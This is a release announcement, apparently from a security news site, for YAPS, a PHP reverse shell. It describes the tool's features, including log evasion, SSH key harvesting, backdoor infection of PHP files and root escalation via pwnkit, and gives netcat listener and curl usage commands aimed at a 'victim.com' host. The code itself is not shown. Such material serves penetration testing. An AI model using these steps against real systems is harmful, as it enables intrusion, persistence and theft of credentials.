YAPS v1.5 releases: Yet Another PHP Shell

by do son · Published July 14, 2021 · Updated February 12, 2022

YAPS – Yet Another PHP Shell

As the name reveals, this is yet another PHP reverse shell, one more among hundreds available out there. It is a single PHP file containing all its functions and you can control it via a simple netcat listener (nc -lp 1337).

In the current version, its main functions support only Linux systems, but I’m planning to make it work with Windows too.

Features

Single PHP file (no need to install packages, libs, or download tons of files)
Works with netcat, ncat, socat, multi/handler, almost any listener
Customizable password protection
No logs in .bash_history
Does some enumeration
- Network info (interfaces, iptables rules, active ports)
- User info
- List SUID and GUID files
- Search for SSH keys (public and private)
- List crontab
- List writable PHP files
Auto download LinPEAS, LinEnum or Linux Exploit Suggester
Write and run PHP code on remote host
(Semi) Stabilize shell
Duplicate connections
Auto update
Infect PHP files with backdoors
[NEW] Auto reverse root shell via pwnkit (CVE-2021-4034)

Cons

Connection isn’t encrypted (yet) (nc does not support SSL)
Not fully interactive (although you can spawn an interactive shell with !stabilize)
- CTRL+C breaks it; can’t use arrows to navigate (unless you use rlwrap nc -lp <ip> <port>)

Usage

Set up a TCP listener;
Set your IP and port. This can be done by:

2.1 Editing the variables at the start of the script;
2.2 Setting them via web request (curl -x POST -d “x=ip&y=port” victim.com/yaps.php or curl victim.com/yaps.php?x=ip&y=port);

Open yaps.php on the browser or curl it;

3.1 You can set yaps.php?s or yaps.php?silent to suppress the banner

Working commands

!help – Display the help menu
!all-colors – Toggle all colors (compatible with colorless TTY)
!color – Toggle PS1 color (locally only, no environment variable is changed)
!enum – Download LinPEAS and LinEnum to /tmp and get them ready to use
!info – list informations about the target (the enumeration I mentioned above)
!stabilize – Spawn an interactive reverse shell on another port (works w/ sudo, su, mysql, etc.)
!passwd – Password option (enable, disable, set, modify)
!php – Write and run PHP on the remote host
!suggester – Download Linux Exploit Suggester to /tmp and get it ready to use